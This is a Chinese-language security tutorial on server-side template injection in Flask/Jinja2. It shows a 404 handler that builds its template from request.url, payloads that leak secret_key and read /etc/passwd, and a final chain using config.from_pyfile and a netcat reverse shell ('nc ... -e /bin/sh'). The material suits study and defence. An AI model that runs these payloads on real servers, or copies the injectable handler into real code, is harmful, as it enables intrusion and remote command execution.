Flask/Jinja 模板注入

0x00

最近看了国外几篇关于模板注入的文章, 自己也在这里加上自己的一些东西总结一下.

Server-Side Template InjectionJames Kettle

Exploring SSTI in Flask/Jinja2Tim Tomes

Exploring SSTI in Flask/Jinja2, Part IITim Tomes

0x01 万恶的拼接

我们先看这段处理网站404状态的代码

1
2
3
4
5
6
7
8
9
10
11
@app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.url)
return render_template_string(template), 404

这段代码没有从模板文件而是用 render_template_string() 直接从一个字符串渲染到了html. 从模板文件还是从字符串倒不是什么大问题, 主要是它渲染的那个字符串是和用户的输入(request.url)拼接过的. 要知道这里的 template 存的并不是纯数据而是有一部分控制功能在里面的. 这就产生了代码域与数据域的混淆, 只要出现了这样的情况十有八九就会有洞. 首先最直接的, html模板渲染到html, 插入到html就肯定会有XSS.

20170530149609702857674.png

0x02 不仅仅是客户端

我们都知道html里面拼接数据是XSS攻击的是客户端, 然而html模板并不仅仅是html, 还有能被模板渲染引擎解释的模板代码, 这样一来我们就能插入在服务器端执行的代码. 让我们试一下

20170530149609767354923.png

看来是可以的, 再试一个

20170530149609777784600.png

WOW, 连secret_key都爆出来了(还记得hitcon有个题就是这个套路)

0x03 读写文件

当然, 我们的目标肯定不能止步于一个 泄露出来的信息. 我们想的当然是最好能拿到一个shell.

要拿到shell, 就很难避免要执行命令, 而Jinja和Flask的template是不太可能提供这种功能的(事实上也没有), 所以在这种环境下, 肯定就要想办法调用python的 system() 或者 check_output() 之类可以执行命令的函数.

首先在Flask/Jinja的模板中, python的字符串,数字这类基本对象是肯定是支持的

20170530149610443015120.png

其实根据以前在CTF里面的经验, 不难想到先试着调用一下这些对象的内置方法, 去看一下当前环境下能访问哪些对象 ''.__class__.__mro__[2].__subclasses__() , 或者 (1).__class__.__base__.__subclasses__()

20170530149613100464149.png

这里还是稍微写一下, 首先 ''.__class__ 可以访问到字符串的类型对象(关于python中的类型对象参见Python Types and Objects)

20170530149613122259818.png

因为python中所有的对象都是从Object逐级继承来的, 类型对象也不除外, 所有我们就可以调用对象的 __base__ 方法访问该对象所继承的对象

20170530149613167899580.png

或者使用 __mro__(Method Resolution Order) 直接获得对象的继承链, python用这个方法来确定对象方法解析的顺序

20170530149613202779829.png

当我们访问到Object的类型对象的时候, 就可以用 __subclasses__()来获得当前环境下能够访问的所有对象.

因为调用对象的 __subclasses__() 方法会返回当前环境中所有继承于该对象的对象.

我们仔细过一遍环境里面存在的对象, 首先引起我们注意的肯定就是这个python内建的file对象

20170530149614817497351.png

至少我们能读写文件了.

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd', 'r').read()

20170530149614845235931.png

''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test', 'w').write('AAAAAAAAAAAAAAAAAA')

2017053014961485844412.png

但是即使可以写文件, 好像也拿不到shell, 因为这又不像是PHP, 文件或者说代码的执行我们是很难控制的.

那么就再看看别的对象, 看了一圈好像确实找不到能让我们离命令执行更进一步的对象了, 看来单纯用这种方式很难拿到shell了

0x04 沙盒逃逸

卡住了以后就按照James大佬的思路, 在我们判断出存在SSTI之后, 下一步要做的就是仔细阅读文档, 挖掘一下在当前的环境下有哪些可以利用的点

  • ‘For Template Authors’ sections covering basic syntax.
  • ‘Security Considerations’ - chances are whoever developed the app you’re testing didn’t read this, and it may contain some useful hints.
  • Lists of builtin methods, functions, filters, and variables.
  • Lists of extensions/plugins - some may be enabled by default.

在阅读Flask和Jinja的文档的时候, 要仔细翻的就两个部分

仔细翻阅之后, 我们在Flask的config对象上找到了突破点, 查看文档发现config对象有一个from_pyfile()的方法用于从.py文件中读取配置到config中. 我们去flask的源代码里仔细看一看这个函数的行为

config.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
def from_pyfile(self, filename, silent=False):
"""Updates the values in the config from a Python file. This function
behaves as if the file was imported as module with the
:meth:`from_object` function.
:param filename: the filename of the config. This can either be an
absolute filename or a filename relative to the
root path.
:param silent: set to ``True`` if you want silent failure for missing
files.
.. versionadded:: 0.7
`silent` parameter.
"""
filename = os.path.join(self.root_path, filename)
d = types.ModuleType('config')
d.__file__ = filename
try:
with open(filename) as config_file:
exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
except IOError as e:
if silent and e.errno in (errno.ENOENT, errno.EISDIR):
return False
e.strerror = 'Unable to load configuration file (%s)' % e.strerror
raise
self.from_object(d)
return True
def from_object(self, obj):
"""Updates the values from the given object. An object can be of one
of the following two types:
- a string: in this case the object with that name will be imported
- an actual object reference: that object is used directly
Objects are usually either modules or classes.
Just the uppercase variables in that object are stored in the config.
Example usage::
app.config.from_object('yourapplication.default_config')
from yourapplication import default_config
app.config.from_object(default_config)
You should not use this function to load the actual configuration but
rather configuration defaults. The actual config should be loaded
with :meth:`from_pyfile` and ideally from a location not within the
package because the package might be installed system wide.
:param obj: an import name or object
"""
if isinstance(obj, string_types):
obj = import_string(obj)
for key in dir(obj):
if key.isupper():
self[key] = getattr(obj, key)

flask有 from_json, from_envvar, from_object, from_mapping, from_pyfile 等好几个更新配置的方法, 但是相比于其它 from_pyfile 这个方法的实现有点特殊. 我们看上面的源码, 首先新建一个module对象d, 然后把传入的文件读出来用compile()编译成exec()可以执行的code对象, 然后执行, 并且把 d.__dict__ 用作代码对象code执行的scope. 这句话可能比较抽象, 或者我说的不准确, 这里放一张调试的图, 相信大家一看就明白了

2017053114961670666146.png

然后又将d传入了 from_object 方法, from_object 方法遍历 d.__dict__ 将键名为大写的键值对更新到当前环境的config对象中.

所以如果我们能让 from_pyfile 去读这样的一个文件

1
2
from os import system
SHELL = system

那么我们访问 config['SHELL'] 时, 实际上就能访问到 system 函数了. 而我们前面又已经做到了文件读写, 所以两个点结合起来我们就完全可以拿到SHELL

20170531149616851775623.png

20170531149616854020117.png

我们最终的payload为

1
2
3
4
5
6
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}
//写文件
{{ config.from_pyfile('/tmp/evil') }}
//加载system
{{ config['SHELL']('nc xxxx xx -e /bin/sh') }}
//执行命令反弹SHELL

0x05 参考

http://www.cafepy.com/article/python_types_and_objects/python_types_and_objects.html

http://flask.pocoo.org/docs/0.12/api/#flask.Config.from_pyfile

https://docs.python.org/3/library/types.html

https://docs.python.org/3/library/functions.html#exec